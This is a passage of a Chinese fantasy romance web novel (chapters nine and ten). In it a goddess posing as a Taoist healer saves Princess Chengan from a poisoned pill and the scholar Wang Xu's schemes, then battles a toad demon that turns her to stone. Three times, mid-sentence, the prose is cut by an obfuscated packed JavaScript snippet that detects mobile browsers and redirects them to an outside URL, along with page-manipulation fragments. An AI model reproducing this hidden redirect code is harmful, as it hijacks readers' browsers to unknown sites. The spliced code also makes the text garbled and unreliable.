姜迁韶母妃早逝,天生体弱多病,自幼时起便养在深闺之中,不像其他公主能够常年参加各种雅集盛会,更没有心力同各种贵胄子弟结交,她常年所面对的人都是高嬷嬷和其他宫娥,父皇日理万机,能够给她的,都只是各种数不胜数的赏赐。这些赏赐看在姜迁韶眼中,皆是冷冰冰的死物, 是以,她容易被真心打动,在与王栩以诗会友的半年以来,她发现自己喜欢王栩,已是到了“非君不嫁”的境地。 她恳求父皇让王栩当自己的驸马,父皇拗不过她,也不舍得她受委屈,自当是同意的了,只不过婚姻乃是终身大事,还是一国公主的婚事,更是马虎不得。 得先让礼部择定良辰吉日。 好景不长,吉日刚刚定下来,盛都内便是流言大作,关于王栩杀妻女的流言甚嚣尘上。 姜迁韶坐卧不安,想出宫寻王栩当面问个清楚,她觉得,以王栩的为人品质,断不可能做出这般丧尽天良之事,她信他,她需要他讲出真相。 姜迁韶想要出宫,很快被高嬷嬷为首的一众宫人拦下,姜迁韶无法出宫,心中悒郁,这一夜就病倒了。 圣上遣了太医院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408652|168780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诸多御医前去医治,竟是膏石罔效,不论使用了什么汤剂,姜迁韶的高烧就是不褪,面色肉眼可见地越来越苍白,血气尽褪。 有人道这怕是招惹了邪祟,得去京郊太虚观请鸿归天师。圣上连夜遣人去请,却是吃了个闭门羹,鸿归天师南下云游讲学去了,约莫要三个月才回盛都,此不可不谓是“屋漏偏遭连夜雨,行船又遇顶头风”。 圣上一咬牙,索性就请来了天师的嫡传弟子伏喜。 圣上去请人的空当,偌大的公主府里,迎来了四位不速之客。 第一位恰是王栩。 他着一席藏青色的春衫,冒着夜雨前来,请求探望公主。戍守在府门外的亲兵见是状元郎,不由有些踯躅,承安公主与王栩交情深笃,一般他来了,他们都会默认放行,但现在时局格外特殊,他们不好放人。 王栩索性撩袍跪在雨中,道:“栩忧虑公主贵体,特去研读了一番医案。” 他从袖裾之中摸出了一只檀木质地的匣子,剀切道:“此则血府回阳丹,或许可以减轻殿下的症状。” 亲兵们面面相觑,一阵无言,须臾,府门大开,传出了一个老妇的沙哑嗓音:“事关公主性命,圣上已经去请天师了,王公子若识趣一些,还是暂避锋芒为宜。” 王栩认出来,这是承安公主的贴身女官,高嬷嬷。 王栩不肯,执意在雨中跪着,用一种悲恸的口吻道: “殿下是因栩而病倒的,栩惭怍得无地自容。此枚回阳丹,若不能救渡殿下,栩即刻撞柱而亡!” 年青男子有力的嗓音,在雨幕之中回荡,高嬷嬷被他的真诚所打动,静默了好一会儿,终于敞开了府门,道:“进来罢。” 王栩诚恳言谢,在高嬷嬷的导引之下入了公主府。 第二、三位不速之客,便是黑白无常了。 俩人正一晌吐着长舌头,一晌欢脱地飘到了承安公主的床榻前。二人收到了紧急指示,说是公主今夜不到一个时辰就会病殁。 公主的魂魄乃是极其珍贵的,黑白无常马虎不得。 至于第四位,便是毕方。 它是尾随芙颂一路来到了公主府。 这晌,高嬷嬷引王栩来到寝殿,隔着一张厚重的垂帘,王栩依稀能够看到那病榻上的女子倩影。 他想要去看看承安公主的情状,但又极力克制着自己,袖裾之下的手松了又紧,紧了又松,最终什么也没有说,只将药匣递呈给了高嬷嬷,彬彬有礼地道了一声:“拜托高嬷嬷了。” 高嬷嬷解开匣面,捻住一枚漆色药丸,先递给御医团验察,御医团细致地检索了一番,这药丸内含有桂枝、附子、当归、川穹等七味药草,是专门治理胸痹心痛的,对身体有利无害。 高嬷嬷放妥了心,遂托着药丸,作势要喂给承安公主。 案台上的烛火正在不安地扭来扭去,王栩一错不错地注视着高嬷嬷喂下的动作,掩藏在袖裾之下的手,微微攥拢成了拳。 眼看承安公主要吃下这一枚药丹了—— “且慢!此药不能食!” 殿外陡地传了一阵清凉的喝音。 蹲守在帐帘背后的黑白无常,觉得这一声喝音有些耳熟,忍不住循声望去,不望不打紧,一望吓一跳。 芙颂着一席雪白色道服,头顶上带着一顶瓜皮小帽,面上笑容可掬,俨然一副道医的造相,圣上竟是还尊称她为“伏喜师傅”。 黑白无常惊讶得舌苔曳地。 不是,姐妹,你啥时候改行混成鸿蒙天师的徒弟了? —— 与诸同时,千里之外的庐陵郡,白鹤洲书院。 谢烬讲完学,不疾不徐回至不二斋。毕方告诉他,今夜芙颂去了公主府,要应付王栩,一时半会儿怕是不可能来不二斋蹭觉的了。 濯洗罢已至戍时正刻,谢烬照例上榻休息。 不知为何,阖上眼好一会儿,竟是有些难以入眠,他总觉得床榻上缺了些什么。 脑海之中,下意识浮现出了白昼清晨时的那一幕。 女郎灼红的耳根,紧紧阖拢的双眸,面具之下的檀唇薄粉而红润,纤细的脖颈之上隐现着纤细易碎的筋络。 谢烬薄唇轻轻抿成了一条细线,冷峻的面容之上看不出什么情绪。 辗转反侧,仍然难眠——还真是风水轮流转,现在睡不着的人,换成了他。 谢烬索性重新燃起了灯,披衣到庭院之中对弈。 刚欲起身,袖裾被一只纤纤素手牵曳了住。 谢烬身后传了一阵熟悉的伶仃笑音—— “公子是在等我一起睡觉吗?” 9. 【第九夜】 【第九夜】 谢烬伫在原处,他认出这是芙颂的嗓音,但她今夜的举止,比前几夜远要格外的胆大与热情,不论是掖住他的袖裾作挽留之状,还是从背后搂住拥住他诉尽绵绵情意,举手投足之间,皆含着一股子妩媚之意。 芙颂轻盈地绕至他面前,柔荑轻轻地勾住他的腰带,将他作势往床榻上勾去。谢瓒眸色一黯,眉间厌离之意陡浓,寥寥然地扯了扯唇,跟随她上了床榻。 “公子今夜怎的变得这般冷冰冰的,都不愿意搭理人家了,”芙颂嗓音透着一股子委屈,袖裾之中滑出了一截红绫,妖娆地缠住谢烬的腰肢,将他拉向了她,“莫不是在生人家迟来的气?” 谢烬垂眸看着这些红绫,它们如游蛇似的,先缠住了他的双膝,顺着他的膝面往上蔓延,卷住了他的腰,隐隐有将他包裹成一只人形蚕蛹之势。 寝屋的氛围趋于旖旎,芙颂眉眼弯弯,唇红胜火,眼前这个清冷书生,虽看着古板端正,但还是挺好操控的嘛,根本就不推开她,也不反抗,不出多时,他必会成为她的囊中之物。 好巧不巧,今夜夜游神不信邪,又来了一趟白鹤洲书院,他总觉得那夜巡逻时漏查了什么,心底总是放心不下,直觉告诉他需要再复查一回。 待他来到不二斋外,便嗅到一阵呛人熏鼻的紫色妖气,妖气从不二斋内泛散出来。夜游神心中颇为警觉,这种妖气少说有三千年的修为了,怕是不好驯服。为了预防打草惊蛇,他先盘踞在不远处的竹林上空,开了天眼,直直往斋中望去。 只一眼,夜游神便呆住了—— 芙颂怎么会跟一个教谕厮混在一起? 不对,这个女子绝对不是芙颂,那一股浓烈的妖气就是这个女子身上散发出来的。 按照她这殷勤求-欢的架势,怕是今夜要吸干这个教谕的精气! 夜游神太阳穴突突直跳,正欲行动,谁料,这个教谕早已有了动作。 谢烬嗓音淡到毫无起伏,淡声道:“回头是岸。” 芙颂故作听不懂的样子,无辜地眨了眨眼,勾唇笑道:“公子就是我的岸,我攀上了这一道彼岸,便是不可能再离开的了。” 谢烬淡声道:“巨阙。” 巨阙从他袖口之中滑了出来,它是一截白绫,起初芙颂不以为意,还用自己的红菱来狠狠压制它,直至白绫托起了一面阴阳八卦镜,月色落在了镜面上,镜面具体地显现出了芙颂真实的样子。 “芙颂”透过镜面,看到了一张瘦骨嶙峋的惨白鬼脸——这就是她的真容! 她惊惧不已,伪装被拆穿,她当即毫不客气地晾出尖利的爪牙,要绞碎这一面八卦镜,谁知爪牙甫一触上了八卦镜,一股无名真火从镜中直捣而出,婉若游龙,径直朝她扑了过来! “芙颂”灵活地闪退至窗槛之上,咯咯咯地笑出声来,笑中含着一抹幽怨,嗔斥道:“公子,你好生的偏心,为何她可以,人家就不可以?” 这个“她”是谁,不言而喻。 “芙颂”见谢烬一副清冷之色,并不理睬她,她等不来答案,顿作气恼,袖下两侧红菱化作巨大的红色鬼魅,直直朝他侵袭而去! 谁知,谢烬淡淡乜斜了她一眼,掌心间略微扬起了一截修长的食指,指上聚拢成了一团炽烈形同岩浆的火雷,火雷周身真气震荡,以排山倒海之势倾轧而去,湮没了红菱,并一举咬掉了“芙颂”的两截手臂! 扶疏的空气之中,蓦地撞入一股子清郁的血腥气息。 女妖惨叫一声,狼狈地瘫倒在地。 像她这等以男子精气为食的阴妖,最怕的就是纯阳之火,一把大火下去,她就被原地打回原形了。 这一会儿,她看向谢烬的眼神完全变了,得知眼前这个男子根本不是寻常人,瞬即纵窗而逃,藏匿在了不二斋外的芭蕉林里。 巨阙见状,作势欲追,谢烬阖眸摇首道:“一芭蕉精罢了,有人会收它。” 言毕,谢烬阖拢住眼,眼前不经意间又浮现出了芙颂的面目。按这光景,她应当入了公主府,与王栩对峙了。 不知为何,他今夜始终放心不下。 为何会放心不下? 难道真应了芭蕉精那句谶语——在他的心目中,她与其他女子是不同的。 谢烬否定了这个答案,开始盘膝打坐。 然而,一刻钟后,他分出了一魄,吩咐巨阙道:“去公主府。” 另一端,芭蕉精身负重伤,遁逃入芭蕉精没多久,便遇上了夜游神。 夜游神以为自己要耗费一些力气来收复此妖,哪承想她竟是逃也不逃了,跪在他面前哭着祈求道:“求神官老爷收了小女子,小女子招摇撞骗知道错了,小女子愿意在阿鼻地狱吃八百年牢饭,也不愿意留在此处了!” 这还是头一回主动自首的妖怪,夜游神匪夷所思,但仍旧公事公办道:“你说你错哪儿?” 芭蕉精嘤嘤认罪:“小女子伪装成日游神的模样,去勾引白衣教谕,妄图吸食白衣教谕的精气,小女子真是罪该万死!” 夜游神听出了一丝端倪:“你为何要伪装成我师妹——日游神的模样?” 芭蕉精道:“小女子是生活在这一带的芭蕉精,最近几夜总会看到日游神来不二斋,同那位白衣教谕同床共枕……小女子就、就生出了邪心,今夜趁着日游神没来,遂易容成了日游神的模样,行勾引之事……哪承想,那个白衣公子太可怕了!” 言讫,又嘤嘤哭泣起来。 夜游神只听到了前半截话——师妹下凡找了个凡夫俗子睡觉。 他被气笑了,等今夜忙完后,一定要好好问一问芙颂才是,倘若她真的走了歧路,他这个做师兄的,也一定要把她拉回正道! —— 盛都,公主府,三更夜,阴雨连绵。 芙颂莫名其妙打了个喷嚏,嘶,是谁在背后叨叨她?暂且先不管了,救人先要紧。 桓玄帝邀请她入公主府,但打从入府后,芙颂便是觉知到一阵阴毵毵的鬼气,这一抹鬼气是从寝殿之中传出来的。 “伏喜师傅,朕这个小女儿,平素不喜交游,也极少出门,今夜突然发了病,太医院轮番遣每位御医去用药,都不见效,您看看这该如何是好?”引领她的桓玄帝口吻显得有些焦灼,左手一直在盘着翡翠珠串。 芙颂安抚道:“陛下淡静下来,只要心定,能量场才会稳,承安公主的病,也会迎刃而解。” 芙颂以前跟药王菩萨学习岐黄之术长达数百年,对医道也是略懂皮毛,得知药王菩萨在凡间有个得意门生名叫鸿蒙天师,芙颂遂是来了个将计就计,寻药王菩萨讨了个方便,药王菩萨就委托鸿蒙天师捏了个徒弟身份,化名伏喜。 这般一来,芙颂就顺理成章地入宫了。 今夜她必须见到承安公主,因为她知晓王栩听到流言后,狗急跳墙了,今夜一定会对承安公主下手。 这晌,桓玄帝深呼吸一口气,让自己冷静下来,又忍不住发问:“迁韶她究竟得了什么病,伏喜师傅心中可有定数?” 桓玄帝是个急性子,说话也快,做什么事都图立竿见影,遇到什么问题都必须马上知晓答案。芙颂看了一眼他的面相,面色偏黄,眼下乌青,深觉他的心肺、肾脏一定是不太好的。也是,白昼跟一群言语激进的臣子吵架,夜里临幸花样繁多的妃子,积劳成疾,精气神哪里会好呢?当然,这种话一定不能当着帝王的面来说,怕是会引发杀头大罪。 芙颂望着那悬浮在公主府上空的深深鬼气,忖了忖,道:“承安公主怕是神机遭扰。” 桓玄帝困惑道:“神机遭扰?好端端的,为何会神机遭扰?” 芙颂道:“这个问题,应该问陛下,承安公主近日见过哪些人,心中被什么忧虑困扰着呢?” 桓玄帝一噎。 芙颂所问的这些,他确乎不知情,但细细忖来,他还是知晓一些内情的,嘴唇动了动,想说些什么,但囿于某些缘由,最终还是隐晦地没有道出口。 桓玄帝不想说,芙颂也不欲追问,两人一前一后来到了寝殿,侍卫长禀报说王栩来看望承安公主了,闻及此,两人面色各异。 桓玄帝面色沉肃,一下子想起了这日在盛都疯传的流言,说王栩不仅杀了自己的妻子儿女,还将会杀害承安公主。王栩是他在殿试上御笔钦点的状元郎,品行端正,清风亮节,他也私自调查过王栩的底细,极其干净。这般一个书生,岂会做这种道德败坏之事? 横竖桓玄帝是不信的,假令流言为实,那岂不是反向讽刺他选人是有眼无珠? 芙颂不管桓玄帝信或不信,她心道了一声不好:“王栩怕是要动手了!” 她本欲飞身直掠入殿,但思及凡人要靠双脚走路,只得疾步前行,转过油漆粉红屏门与雕栏花墙,甫入寝殿跟前,两侧捧灯的宫奴如纸作的偶人似的,面上是一团灰白的死气,没有任何表情。 整座寝殿就如地下冰窟似的,弥散着寒彻剔骨的阴气,这种阴气凡人是根本体察不到的,芙颂是神职人员,自然能够看到这种无时无刻变化的能量场。 内殿也把守着一圈侍卫,见她是桓玄帝请来的道医,是鸿蒙天师的徒弟,宽容地放行了。 芙颂通畅无阻地入内,很快就看到了内殿中央垂挂着一绛色沙盘丝的帘子,帘外守着一群待命的御医,只见一位嬷嬷将帘掀开,要喂床榻上的少女吃下一枚药丸。 芙颂急声喝止:“且慢!此药不能食!” 高嬷嬷吓了一跳,药丸从掌心间脱落,一轱辘滚到了玉砖上,滚到了芙颂的足前,她捡拾起来,吩咐随身一个丫鬟端上来一盆水,她将药丸置入水中,须臾,药丸溶解在水中,水仍无色,众人见状,面面相觑,一阵不解。 芙颂继续吩咐丫鬟:“浇洒在窗槛前那一盆君子兰上。” 丫鬟领命照做,及至药水泼洒在君子兰上,惊悚的一幕出现了,君子兰以肉眼可见地速度腐烂了下去,化作了一滩发臭的黑泥。 芙颂道:“此药是以离魂蝎的蝎胆作为药引,离魂蝎是生活在极阴之地的毒物,以活人骨血为食,食尽之后,寄居于活人体内,让活人成为它的傀儡,行尽诸般恶事。若是作用在寻常的植物上,当即毙命。” 顿了顿,芙颂又道:“至于为何御医验察不出药丹里藏有蝎胆,因为蝎胆的外形、气息跟附子近乎完全一样,寻常人难以甄别。” 桓玄帝见状,勃然大怒:“此药是何人所喂?” 高嬷嬷见帝王森冷的目光降落在自己身上,心惊胆颤,思忖着就是自己方才差点要将毒药喂给承安公主,连忙叩首认罪。 桓玄帝在盛怒之中,一挥手,吩咐两位侍卫前来,说将高嬷嬷拖出去斩首。 芙颂道了一声且慢:“如今救公主为上策,不宜见血。” 历经方才的验药一事,桓玄帝对芙颂添了几分信任,适才作罢。 芙颂来至床榻前,端详了一番承安公主的容色,旋即从袖裾之中摸出一瓶朱砂,在她的头顶百会、膻中、手心和脚心都抹了一下,不出多时,承安公主渐渐有了呼吸。但呼吸仍然薄弱。 芙颂观察到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408653|168780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一张披挂在衣椸上的獒皮大氅,她信手并起食指中指,捏了个通灵咒,一抹绿色光球击撞在了大氅之上。 “汪汪汪——” 一阵稚拙的犬吠声从承安公主的身上传来。 芙颂定了定神,循声望去,便是看到有三头肉嘟嘟的小鬼獒,一头在咬承安公主的脖子,一头在啃她的胳膊,一头在啃她的脚踝。 还以为是它们是凶神恶煞的模样,没想到竟是这般可爱…… 可爱归可爱,但任由它们这般啃下去,承安公主虽能撑过今夜,怕也是命不久矣。 治病要治因,芙颂捋起袖子,逐一捻住小鬼獒的后脑勺,将它们从承安公主的身上拽下来,严肃道:“伤害凡人,是有损功德的。” 小鬼獒发觉芙颂发现了它们的存在,也不惧怕,恼怒道:“是承安公主害死了我们的母亲,她为了一己的虚荣,命镇妖司将我们的皮扒拉下来,做成大氅,这般一个虚荣贪婪的女子,就该死!” “承安公主固然有大错,但也命不该绝,真正害死你们和母亲的人,”芙颂指向了帘外一个春衫郎君,“是你们的父亲,王栩。” 小鬼獒们大惊失色,齐齐望向了王栩。 它们的生父果真伫立在帘外,但生父并不能看到它们的存在。 王栩面色沉凝,看向芙颂的目光变得极为复杂,她对着空气说话、说话的内容都让他感到不安,他对桓玄帝道:“伏喜师傅治疗了半晌,殿下都不见好转,怕是有名无实——” “你说的话,我都听到了。”芙颂信步行至王栩面前,“人在做,天在看,承安公主为何会突然重病不起,在场没有人会比你更清楚。” 那扑面而来的威压,教王栩心下一慑,他面色如常,道:“栩委实听不懂伏喜师傅在说什么。师傅许是听信了那流言,对栩产生了怀疑,栩不辩解便是,但公主的性命要紧……” 他话未毕,芙颂截断了他的话辞:“你以前在雪域修习时,是不是被一个化了人形的雪獒所救,并与她成了夫妻,还有了三个孩子?” 一语掀起千层风浪。 桓玄帝震愕地望向王栩:“伏喜师傅所言当真?” 王栩后颈已经渗出了一丝冷汗,这些被他抹杀的陈年旧事,伏喜师傅究竟是如何侦察出来的?难不成,她真的有通灵的本事? 若是承认,便是欺君之罪。 若是否认,伏喜手上没有没有证据,又能奈他如何? 在这个人间世里,最伪善的一群人,便是饱读圣贤书的书生,他们读的是淡泊明志的圣贤书,走得却是汲汲营营的投机路。圣贤书教人知行合一,思想与言行要一致,偏偏能够做到知行合一的人,寥寥无几。 王栩便是这群人的代表。 他认定神不存在,认定玩弄女子感情、草菅人命也不会遭天谴,他认定锦绣前程就是要用人命来铺路——毕竟,自古以来的官场,都是如此。 他差点就要成功了。只要将药丹让承安公主服下,承安公主今后就会活,像傀儡一样活着,温驯地任他操控,届时他想要什么官秩、什么名利都可以得到。 偏偏半路杀出了一个伏喜师傅。 王栩跪在桓玄帝近前,叩首道:“微臣在雪域修习确乎被一只雪獒宿所救,它对微臣有救命之恩,但除此之外,并不旁的。恳请陛下明鉴!” 芙颂转头对着三头小鬼獒道:“看看,这就是你们的好父亲。” 三头小鬼獒陡然意识到,原来杀害母亲和它们的人,是自己的生父!他看着是个正人君子,没想到如此见利忘义!是个十足的阴险小人! 芙颂松开它们,温声道:“去为你们的母亲报仇吧。” 它们龇牙咧嘴,奋不顾身扑了过去,一举扑到了王栩面前! 王栩觉得身上忽然沉了许多,好像有什么东西压到他身上,下一息,他发现自己的七窍开始汩汩流血,身上莫名其妙出现了很多咬伤。 他痛得在地面上打滚,痛苦不堪。 桓玄帝见状也是吃了一吓,周遭的宫娥也是面如土色,吓得连退数步。 他们大抵没有见过有人会凭空受这么严重的伤,这……难道真的就是报应?就如伏喜师傅所说的,王栩真的为了攀附承安公主,不惜杀了自己远在雪域的妻子和儿女。 芙颂见怪不怪,转首对御医温声道:“承安公主身上的邪祟已除,现下可以正常服药了,估摸着天亮前就会醒转。” 御医应下,该望闻问切的就望闻问切,该抓药的抓药,该熬药的熬药,一切都井然有序。 最后,芙颂留了王栩最后一口气,问他:“这一枚丹药是谁给你的?” 蝎胆乃是至邪之物,像王栩这等凡人不可能轻易得到,他背后一定受了指点。 闻及丹药的来处,王栩面色变得极其阴沉,抿唇不语。 芙颂也不急于这一时,她总归会找到答案的。 凡人有凡人的律法,他会遭受到什么样的制裁,就看桓玄帝和那一帮内阁大臣如何定夺了。 芙颂顺出招魂伞,让这三只獒犬安然往生,与它们的母亲团聚。 哦不对,它们的母亲还在昭胤上神那儿呢。 她得先去寻他。 变故偏偏发生在一瞬之间—— 只见一抹紫色邪魂从王栩的颅顶处钻了出来,形似大□□,咧开狰狞的血盆大口,一口吞掉了三头小鬼獒,即刻从天窗处跳了出去,还留下了一句挑衅: “区区九千年的小神,敢在本尊面前撒野。若想救这三子,便来追本尊!” 10. 【第十夜】 【第十夜】 这只自称“本尊”的□□妖,形同巨大的饕餮,一口吞掉了三只小鬼獒,从天窗潜逃而出。 芙颂自是不可能轻易放过它,连忙直追而上,一口气追了它近百余里,它最终消失在了盛都以南的豫州金溪县一座庙里。 这一座庙上面挂着一座红底黄字牌匾,牌匾上挂着“天符庙”三个歪歪扭扭的大字。 甫一推开庙门,芙颂便是见到这头□□妖的真面目,它遵伏椅上,极其肥大,可近百两,尻部复有紫色云纹,背上有七星。□□妖的左邻右舍,全是一群小□□,估摸着是此辈儿孙,它们估摸着是没见过生人前来了,一双双眼睛在黝黑的光影里泛散着卑琐的绿光,仿佛要将对方吃干抹净似的。 芙颂四处打量了周遭环境,这座庙以前估摸是一处衙署,分有三进,格局跟公堂差不多,她在东西南北两进发现了大量森白的人骨,距离她最近的底面上,正躺着一只森白的骷髅头,两只空洞洞的眼睛正对向她。 芙颂的本职工作就是跟鬼魂打交道,她信手覆在骷髅头上,感受到了她的传召,骷髅头的主人开始说话了,是个年轻的少年,嗓音极为愤慨:“这个臭□□自称是文昌神君座下的□□神,得了文昌神君的真传,只要给它提供香火,它就能庇佑我高中,未来平步青云!我真是被猪油蒙了心,信了它的鬼话!” 时局紧迫,芙颂只能挑重点问:“你供奉了它,遭遇到了什么后果?” 骷髅少年愤懑道:“我供奉了它,它果真让我高中了,但随后它越发得寸进尺,偷偷将一魄种入的我身体里,要与我共用一具身体,它说不会有什么不好的影响,我就掉以轻心,结果,它进入我的身体后,我就成了任它摆布的傀儡,蓄意接近高门女子,骗取她们的感情与信任,并趁她们不备,以吸食她们的元神。从此之后,我的身体也越来越羸弱,最后猝亡在床榻上……” 芙颂忽然道:“你活着的时候,定是生有一张好皮囊,是也不是?” 骷髅少年静默了一阵,道:“相邻左右都夸我有好颜色……” 芙颂幡然醒悟。原来,□□妖寻找那些心中有贪念的、长相好看的年轻书生,跟他们做出卖灵魂的交易,并借用他们的皮囊,靠吸食女子的元神达到修炼的目的。这种修炼十分耗损凡人的元气,所以,很多与□□妖做交易的年轻书生,最后都精尽人亡。 王栩怕是也跟这头□□妖做了交易,他为了青云路,出卖了灵魂,不仅祸害了妻子儿女,还打算祸害承安公主。 王栩要投喂给承安公主的那个药丹,想必也是出自□□妖的手笔。 这晌,盘踞在北方的□□妖端详着芙颂,猥琐一笑:“小神,本尊看你生得玲珑可爱,还一点小聪明,不若当本尊的媳妇如何?” 芙颂起身摇摇首,就事论事:“我不喜欢你。” □□妖怒道:“你是不是嫌弃本尊丑?” 芙颂道:“我从不与贪吃嗔为伍。” 这一句话触及了□□妖的知识盲区,它理解不了,它只能认定芙颂是因为它长得丑才拒绝了自己。 它变得暴跳如雷,捋长了舌头,怒道:“你们女人,个个都是不好好东西,只注重外表!” 芙颂并不自证,道:“人是有磁场的,当你是个败絮其中的人,也一定会吸引一群败絮其中的人,同理,真诚的人也一定会吸引一群真诚的人。” 当然,这句真理□□妖根本听不进去,它深深卯足一口气,眯成一线的双目陡地撑开,迸射出两道紫色雷电,形若巨蟒状的长鞭,朝着芙颂狠狠拂扫而去! 芙颂堪堪侧身闪避,紫色雷电一举击打在她身后! “啊!好痛好痛!” 芙颂身后出现了一阵哀嚎,声音还格外熟稔,她回望而去,赫然发现是黑白无常。二人不偏不倚被紫色雷电劈中,紧接着,躯体开始石化,丝毫动弹不得。 芙颂大惊失色,上前道:“你们怎么会出现在天符庙?” 黑无常的长舌头已经石化了,只有白无常勉强还能说话:“兹事说来话长,我就长话短说了——你救活承安公主,抢了我们的饭碗,完全不讲武德,我们正打算找你算一笔账,谁知刚入这破庙,你和那□□妖已经交手,竟是还误伤了我们,这还有没有天……” “理”之一字尚未出口,白无常的舌头也石化了。 两尊瘦骨嶙峋的石像带着浓烈的怨气,与芙颂大眼瞪小眼好一阵,芙颂转身对□□妖正色道:“他俩跟我不是一伙儿的,烦请放了他们。” □□妖正在盛怒之中,听不进芙颂的话,铜铃般大小的眼睛接连迸射出了好几道紫色雷电,芙颂身姿灵巧如燕,回回都有惊无险地闪避了过去。她深知,自己绝对不能被这紫色雷电击中,要不然也会落入跟黑白无常一样的下场。 □□妖失手好了几回,脾气愈发暴烈,双掌捶胸,改变作战方略,吩咐座下无数□□喽啰朝芙颂发出进攻。 一时之间,整座寺庙被□□汇织成了的海洋给吞没了,黑白无常的石像亦被□□海一举吞没,芙颂没办法落脚,只好飞升纵掠至横梁上空。 芙颂心道,她一个人可打不过这成百上千只□□,得寻夜游神搬救兵才是! 她连忙翻出玉简:「师兄,我在豫州以南……」 信息传输到一半,一道紫色雷电陡地疾射而来,速度快得芙颂来不及躲开,雷电正好击中了她的玉简,玉简石化了。 芙颂眼睁睁地看着自己握着玉简的右手覆上了一层硬石,硬石从她的右手蔓延至胸腹,再是蔓延至躯干,她竟是也跟着石化了! 这一回,委实是大意了。 她自己的性命倒无所谓,心中牵挂的是,三只小鬼獒没救成,牵累了黑白无常。以及,她与雪獒母亲还有约定,雪獒母亲还等着她带着三只小鬼獒去往生桥超渡呢。 还有这么多事没有做,怎么能轻易折戟于此? □□妖小人得志的笑声直逼横梁:“让你做本尊的娘子,是本尊看得起你,偏偏你眼高于顶,接不住这般好的福报!本尊再给你一次忏悔的机会——” □□妖将一只□□腿伸到芙颂面前:“本尊看你的嘴巴还能动,就让你舔一舔本尊的脚底,只要你肯认错,兴许本尊情志好,还能汲取你的修为时,让你也快活一番。” 芙颂哪肯屈就,拼尽全力冲破了寺庙的瓦梁,伴随着一阵瓦楞破碎之声,她沿着屋脊一路下滚,狼狈地摔落在地上。这一晌,芙颂双脚和身躯已经石化了,整个人只能艰难地直立起来,一蹦一跳朝前逃,她双眼也被硬石覆盖住,看不清路,很快就冒冒失失撞到了一人。 “芙颂?”来人的嗓音深沉低哑,在春夜细雨的渲染之下,竟是让人格外安心。 芙颂一下子认出了对方的尊贵身份,鼻腔酸涩,愉悦的眼泪成了一块块小石头往外蹦:“昭胤上神,您终算来了。” 言讫,她彻底石化,将要瘫倒在地面上,谢烬上前一步,敞开修直的双臂,稳稳当当地接住她。 谢烬垂下眸,看到彻底变作了石像的芙颂,眸心一凛,往前遥遥凝睇而去。狰狞可畏的□□妖率领着排山倒海的小□□,冲撞开天符庙残破的庙门,如决堤的蚁穴,浩浩荡荡朝着他们所在的方向侵袭而来,穹空上方紫色妖气愈聚愈浓,紫色闪电在云层之间游弋,发出轰隆隆的声响。 跟随谢烬而来的翊圣真君,发现在□□海上浮动的两尊石像,隔得近了些,才发现是黑白无常,他们也随芙颂一起变作石像了,足见□□妖的妖力不容小觑。 毕方盘旋在天符庙上空,道:“要不吐真火,一口气烧了天符庙?” 谢烬摇首,天符庙是□□妖的老窟,老窟没了,□□妖势必还会另寻庙宇对那些祈福的香客招摇撞骗,治标不治本。他忖了一忖,先吩咐翊圣真君将黑白无常捞回来。 不必多说,翊圣真君早已独身撞入□□海里捞人了。□□妖见谢烬坏了自己的好事儿,怒不可遏,大开大阖朝他攻来,双目迸射紫色雷电,毕方敛翅俯冲,吐出熊熊真火,雷电与真火两厢碰撞,堪堪打了一个平手。 谢烬滑出巨阙,以巨阙为椽笔,在地面上画了一个阴阳阵,一道鎏金色的光如白虹从他指尖迸发,沿着阴阳阵亟亟游走,继而辐射到了方圆百里! 一时之间,天地寂止,人籁俱寂。 □□海凝冻成胶状,□□妖也僵硬地定格在半空之中,饶是勉力挣扎,也徒劳无功。 □□妖没遇到这种阴阳阵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408654|168780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但布阵的主人,居然能够让天地寰宇为之停滞,足见其修为恐怖到了何种程度,至少在万年之上! 下一息,一股重逾千钧的金色真气直逼而来,□□妖竟是吓得当场失禁。他自诩为□□之尊,但遇到九重天真正的神尊,便相形见绌了,对方碾死它,就如碾死一只蝼蚁那般容易。它的一生,对于神尊而言,不过是“朝菌不知晦朔,蟪蛄不知春秋”罢了。 翊圣真君将黑白无常的石像捞了回来。谢烬颔首,淡声问:“如何解除石禁之术?” □□妖虽说惧怕,但也是个嘴贱的:“你怀中的那位小神,该是本尊的娘子,你若将她还给本尊,本尊就勉为其难地告诉你。” 谢烬面上看不出有什么情绪,淡淡道:“动手。” 翊圣真君的拳头早就痒了,飞掠迫前,对着□□妖的八虚大穴一阵暴烈捶打。□□妖动弹不得,只能被迫挨打,挨打也便罢了,对方的拳头是真的硬实! 第一拳下去,它直接飞出二十余里,撞破了十个破庙。 